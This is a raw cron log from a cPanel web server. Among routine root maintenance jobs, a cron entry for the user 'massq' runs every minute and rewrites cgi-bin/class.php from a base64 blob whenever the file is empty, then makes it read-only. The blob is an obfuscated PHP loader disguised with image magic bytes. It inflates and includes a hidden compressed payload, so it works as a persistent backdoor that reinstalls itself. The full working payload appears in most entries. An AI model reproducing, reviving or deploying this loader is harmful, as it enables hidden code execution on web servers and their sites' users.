Sep  4 15:27:01 server CROND[4810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:27:01 server CROND[4809]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 15:28:01 server CROND[5190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:28:01 server CROND[5191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:28:01 server CROND[5192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:29:01 server CROND[5654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:29:01 server CROND[5655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:29:01 server CROND[5656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:30:01 server CROND[6032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:30:01 server CROND[6038]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 15:30:01 server CROND[6034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:30:01 server CROND[6037]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:30:01 server CROND[6039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:30:01 server CROND[6035]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:30:01 server CROND[6040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:30:01 server CROND[6036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:31:01 server CROND[6873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:31:01 server CROND[6875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:31:01 server CROND[6874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:32:01 server CROND[7293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:32:01 server CROND[7294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:32:01 server CROND[7295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:33:01 server CROND[7675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:33:01 server CROND[7676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:33:01 server CROND[7677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:34:01 server CROND[8187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:34:01 server CROND[8189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:34:01 server CROND[8188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:35:01 server CROND[8597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:35:01 server CROND[8599]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 15:35:01 server CROND[8602]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 15:35:01 server CROND[8605]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 15:35:01 server CROND[8604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:35:01 server CROND[8603]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 15:35:01 server CROND[8601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 15:35:01 server CROND[8607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:35:01 server CROND[8606]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 15:36:01 server CROND[9461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:36:01 server CROND[9460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:36:01 server CROND[9459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:37:01 server CROND[9830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:37:01 server CROND[9831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:37:01 server CROND[9832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:38:01 server CROND[10203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 15:38:01 server CROND[10204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:38:01 server CROND[10207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 15:39:01 server CROND[10573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 15:39:01 server CROND[10574]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 15:39:01 server CROND[10576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
